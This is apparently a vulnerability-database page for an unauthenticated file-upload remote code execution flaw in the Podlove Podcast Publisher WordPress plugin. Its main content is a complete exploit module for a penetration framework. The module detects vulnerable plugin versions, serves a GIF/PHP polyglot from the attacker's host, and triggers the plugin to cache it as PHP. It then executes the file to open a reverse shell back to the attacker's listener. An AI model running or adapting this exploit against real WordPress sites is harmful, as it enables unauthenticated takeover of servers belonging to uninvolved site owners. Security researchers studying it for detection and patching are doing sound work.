WordPress Podlove Podcast Publisher RCE (CVE-2026-13001)
| Reporter | Title | Published | Views | Family All 21 |
|---|---|---|---|---|
| Exploit for CVE-2026-13001 | 15 Jul 202609:58 | – | githubexploit | |
| Exploit for CVE-2026-13001 | 23 Jul 202609:06 | – | githubexploit | |
| Exploit for CVE-2026-13001 | 15 Jul 202619:16 | – | githubexploit | |
| Exploit for CVE-2026-13001 | 16 Jul 202618:57 | – | githubexploit | |
| Exploit for CVE-2026-13001 | 3 Sep 202610:30 | – | githubexploit | |
| CVE-2026-13001 | 14 Jul 202619:33 | – | attackerkb | |
| CVE-2026-13001 | 14 Jul 202623:08 | – | circl | |
| CVE-2026-13001 | 14 Jul 202619:33 | – | cve | |
| CVE-2026-13001 Podlove Podcast Publisher <= 4.5.1 - Unauthenticated Arbitrary File Upload via podlove_image_cache_url Parameter | 14 Jul 202619:33 | – | cvelist | |
| EUVD-2026-44402 | 14 Jul 202621:32 | – | euvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""CVE-2026-13001 — Podlove Podcast Publisher unauthenticated file upload RCE."""
from __future__ import annotations
from typing import Optional
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.protocols.http.podlove_probe import (
PODLOVE_PATCHED_VERSION,
PODLOVE_PLUGIN_SLUGS,
Podlove,
PodlovePayloadServer,
)
from lib.protocols.http.wordpress import Wordpress
class Module(Exploit, Http_client, Wordpress, Podlove):
__info__ = {
"name": "WordPress Podlove Podcast Publisher RCE (CVE-2026-13001)",
"description": (
"Exploits CVE-2026-13001 in Podlove Podcast Publisher <= 4.5.1: serves "
"a GIF89a polyglot built from the configured framework payload, triggers "
"the image-cache fetch (shell.php?.gif bypass), then executes the cached "
"PHP via HTTP (reverse_tcp connects back through the normal listener)."
),
"author": ["Talal Nasraddeen", "Wordfence", "KittySploit Team"],
"cve": ["CVE-2026-13001"],
"references": [
"https://nvd.nist.gov/vuln/detail/CVE-2026-13001",
"https://www.cve.org/CVERecord?id=CVE-2026-13001",
"https://wordpress.org/plugins/podlove-podcasting-plugin-for-wordpress/",
],
"platform": Platform.PHP,
"arch": [Arch.PHP],
"category": PayloadCategory.CMD,
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": PayloadCategory.CMD,
},
"tags": [
"wordpress",
"wp-plugin",
"podlove",
"file-upload",
"polyglot",
"rce",
"unauthenticated",
"cve-2026-13001",
],
"agent": {
"risk": "intrusive",
"effects": ["active_exploitation"],
"expected_requests": 6,
"reversible": False,
"approval_required": True,
"produces": ["exploit_paths", "risk_signals"],
"cost": 2.0,
"noise": 0.6,
"value": 1.0,
"requires": {
"tech_hints_any": ["wordpress", "php"],
"confidence_min_any": {"wordpress": 0.3},
},
"chain": {
"produces_capabilities": [
{"capability": "rce", "from_detail": ""},
{"capability": "shell", "from_detail": ""},
],
"suggested_followups": [
"post/shell/multi/gather/privesc_suggester",
],
},
},
}
payload_port = OptPort(9999, "Local port serving the GIF polyglot for Podlove fetch (uses lhost)", False)
file_name = OptString("", "podlove_file_name stem (random if empty)", False, advanced=True)
def _wp_base(self) -> str:
return self.wp_normalize_base_path(getattr(self, "path", "/"))
def _plugin_version(self) -> tuple[str, str]:
for slug in PODLOVE_PLUGIN_SLUGS:
version = self.wp_plugin_version(slug, self._wp_base())
if version:
return slug, version
readme = self.wp_plugin_path(self._wp_base(), slug, "readme.txt")
response = self.http_request(method="GET", path=readme, timeout=int(self.timeout or 15))
if response and int(response.status_code or 0) == 200:
body = (response.text or "").lower()
if "podlove" in body:
return slug, self.wp_extract_version_from_readme(response.text or "") or ""
return "", ""
def _is_vulnerable_version(self, version: str) -> Optional[bool]:
if not version:
return None
try:
return self.wp_version_to_tuple(version) <= self.wp_version_to_tuple("4.5.1")
except Exception:
return None
def _payload_php(self) -> str:
payload = self.payload
if isinstance(payload, bytes):
payload = payload.decode("utf-8", errors="replace")
php = str(payload or "").strip()
if not php:
raise ValueError("No payload configured — set payload payloads/singles/cmd/php/reverse_tcp")
return php
def _build_polyglot(self) -> bytes:
return self.podlove_build_polyglot(self._payload_php())
def check(self):
slug, version = self._plugin_version()
if not slug:
return {
"vulnerable": False,
"reason": "Podlove plugin not detected",
"confidence": "medium",
}
vuln = self._is_vulnerable_version(version)
if vuln is False:
return {
"vulnerable": False,
"reason": f"Podlove {version} >= {PODLOVE_PATCHED_VERSION} (patched)",
"confidence": "high",
}
if not str(self.payload or "").strip():
return {
"vulnerable": True,
"reason": f"Podlove {version or 'unknown'} detected — set a PHP payload",
"confidence": "medium",
}
confidence = "high" if vuln is True else "medium"
reason = (
f"Podlove {version or 'unknown'} on {slug}; "
f"CVE-2026-13001 if <= 4.5.1"
)
return {"vulnerable": True, "reason": reason, "confidence": confidence}
def _trigger_path(self, payload_url: str, file_name: str) -> str:
base = self._wp_base().rstrip("/")
query = self.podlove_trigger_query(payload_url, file_name).lstrip("?")
return f"{base}/?{query}" if base else f"/?{query}"
def _trigger_upload(self, payload_url: str, file_name: str) -> bool:
response = self.http_request(
method="GET",
path=self._trigger_path(payload_url, file_name),
allow_redirects=True,
timeout=int(self.timeout or 20),
)
return bool(response and int(response.status_code or 0) in (200, 301, 302, 303))
def _trigger_shell(self, shell_path: str) -> bool:
"""HTTP GET on the cached PHP runs self.payload (e.g. reverse_tcp)."""
response = self.http_request(
method="GET",
path=shell_path,
allow_redirects=True,
timeout=int(self.timeout or 20),
)
return bool(response and int(response.status_code or 0) == 200)
def run(self):
server: Optional[PodlovePayloadServer] = None
try:
print_status("CVE-2026-13001 — Podlove Podcast Publisher file upload RCE")
check = self.check()
if not check.get("vulnerable"):
print_error(check.get("reason", "Target does not appear vulnerable"))
self.not_vulnerable()
return False
print_success(check.get("reason", "Target appears vulnerable"))
try:
polyglot = self._build_polyglot()
except ValueError as exc:
print_error(str(exc))
return False
lhost = self.lhost or "127.0.0.1"
port = int(self.payload_port or 9999)
server = PodlovePayloadServer(polyglot, host="0.0.0.0", port=port).start()
payload_url = server.public_url(lhost)
print_info(f"Serving framework payload polyglot at {payload_url}")
stem = str(self.file_name or "").strip() or f"ks_{self.podlove_sanitize_name(self.random_text(8))}"
bypass_url = self.podlove_bypass_url(payload_url)
shell_path = self.podlove_cache_shell_path(self._wp_base(), bypass_url, stem)
print_status(f"Triggering Podlove cache fetch → {shell_path}")
if not self._trigger_upload(payload_url, stem):
print_warning("Cache trigger did not return HTTP success")
print_status(f"Executing cached payload: GET {shell_path}")
if not self._trigger_shell(shell_path):
print_error("Cached PHP not reachable — upload may have failed or path differs")
return False
print_success(f"Payload triggered at {shell_path}")
print_info("Verify listener/session for reverse_tcp callback")
self.vulnerable()
return True
except Exception as exc:
print_error(f"Exploitation failed: {exc}")
return False
finally:
if server:
server.stop()
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
01 Sep 2026 12:42Current
5.8Medium risk
Vulners AI Score5.8
CVSS 3.19.8
EPSS0.03757
SSVC